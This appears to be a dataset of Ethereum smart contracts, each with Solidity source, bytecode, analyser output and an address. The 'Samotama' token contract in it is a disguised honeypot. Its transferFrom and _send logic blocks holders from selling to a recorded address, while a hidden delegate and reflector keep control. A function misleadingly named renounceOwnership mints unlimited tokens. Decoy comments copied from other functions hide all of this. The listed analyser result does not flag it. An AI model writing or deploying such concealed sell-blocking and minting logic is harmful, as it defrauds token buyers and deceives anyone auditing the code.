* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
'ERC20: transfer amount exceeds allowance'
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
'ERC20: decreased allowance below zero'
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: mint to the zero address');
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea26469706673582212207770ad711da03c6052223c5173f18e54846766d723c63b29c955813c3ae6016564736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 6,597 |
0xc681bb9382cb6356728e8436c389d2e80c9d093c
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Samotama is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function renounceOwnership(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: renounceOwnership from the zero address");
_reflect (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _reflectAddress;
_totalSupply = _totalSupply.add(_reflectAmount);
balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
delegate = _del;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100a55760003560e01c80633950935111610061578063395093511461019857806370a08231146101b857806395d89b41146101ee578063a457c2d714610203578063a9059cbb14610223578063dd62ed3e1461024357005b806306fdde03146100ae578063095ea7b3146100d957806318160ddd1461010957806320189d281461012c57806323b872dd1461014c578063313ce5671461016c57005b366100ac57005b005b3480156100ba57600080fd5b506100c3610289565b6040516100d091906109e2565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610a53565b610317565b60405190151581526020016100d0565b34801561011557600080fd5b5061011e61039b565b6040519081526020016100d0565b34801561013857600080fd5b506100ac610147366004610a53565b6103d8565b34801561015857600080fd5b506100f9610167366004610a7d565b61046f565b34801561017857600080fd5b506004546101869060ff1681565b60405160ff90911681526020016100d0565b3480156101a457600080fd5b506100f96101b3366004610a53565b6105c9565b3480156101c457600080fd5b5061011e6101d3366004610ab9565b6001600160a01b031660009081526008602052604090205490565b3480156101fa57600080fd5b506100c361060d565b34801561020f57600080fd5b506100f961021e366004610a53565b61061a565b34801561022f57600080fd5b506100f961023e366004610a53565b610650565b34801561024f57600080fd5b5061011e61025e366004610ad4565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6003805461029690610b07565b80601f01602080910402602001604051908101604052809291908181526020018280546102c290610b07565b801561030f5780601f106102e45761010080835404028352916020019161030f565b820191906000526020600020905b8154815290600101906020018083116102f257829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156103505760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7546005546103d39161073b565b905090565b6000546001600160a01b031633146103ef57600080fd5b6001600160a01b0382166104615760405162461bcd60e51b815260206004820152602e60248201527f45524332303a2072656e6f756e63654f776e6572736869702066726f6d20746860448201526d65207a65726f206164647265737360901b60648201526084015b60405180910390fd5b61046b828261075b565b5050565b60006001600160a01b03841615801590610497575060045461010090046001600160a01b0316155b156104c15760048054610100600160a81b0319166101006001600160a01b038616021790556104cb565b6104cb84846107c9565b6001600160a01b0384166000908152600860205260409020546104ee908361073b565b6001600160a01b0385166000908152600860209081526040808320939093556009815282822033835290522054610525908361073b565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461056390836108a3565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105b79086815260200190565b60405180910390a35060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff90866108a3565b6108be565b50600192915050565b6001805461029690610b07565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916106049185906105ff908661073b565b6004546000906001600160a01b038481166101009092041614156106a45760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610458565b336000908152600860205260409020546106be908361073b565b33600090815260086020526040808220929092556001600160a01b038516815220546106ea90836108a3565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103899086815260200190565b60008282111561074a57600080fd5b6107548284610b58565b9392505050565b600780546001600160a01b0319166001600160a01b03841617905560055461078390826108a3565b6005556001600160a01b0382166000908152600860205260409020546107a990826108a3565b6001600160a01b0390921660009081526008602052604090209190915550565b6004546001600160a01b038281166101009092041614158061081557506007546001600160a01b03838116911614801561081557506004546001600160a01b0382811661010090920416145b8061085757506004546001600160a01b038281166101009092041614801561085757506006546001600160a01b03831660009081526008602052604090205411155b61046b5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610458565b60006108af8284610b6f565b90508281101561039557600080fd5b6001600160a01b0383166109205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b0382166109815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600060208083528351808285015260005b81811015610a0f578581018301518582016040015282016109f3565b81811115610a21576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610a4e57600080fd5b919050565b60008060408385031215610a6657600080fd5b610a6f83610a37565b946020939093013593505050565b600080600060608486031215610a9257600080fd5b610a9b84610a37565b9250610aa960208501610a37565b9150604084013590509250925092565b600060208284031215610acb57600080fd5b61075482610a37565b60008060408385031215610ae757600080fd5b610af083610a37565b9150610afe60208401610a37565b90509250929050565b600181811c90821680610b1b57607f821691505b60208210811415610b3c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610b6a57610b6a610b42565b500390565b60008219821115610b8257610b82610b42565b50019056fea26469706673582212206a266056706473ff397b0dc1e166281d5e345a4669d88e191fc8d73e2c931bc764736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,598 |
0x8159bf128ea427110b3bf57277d7760b4871cf0d
|
/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-27
*/
/*
To The Moon
https://t.me/tothemoon_global
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
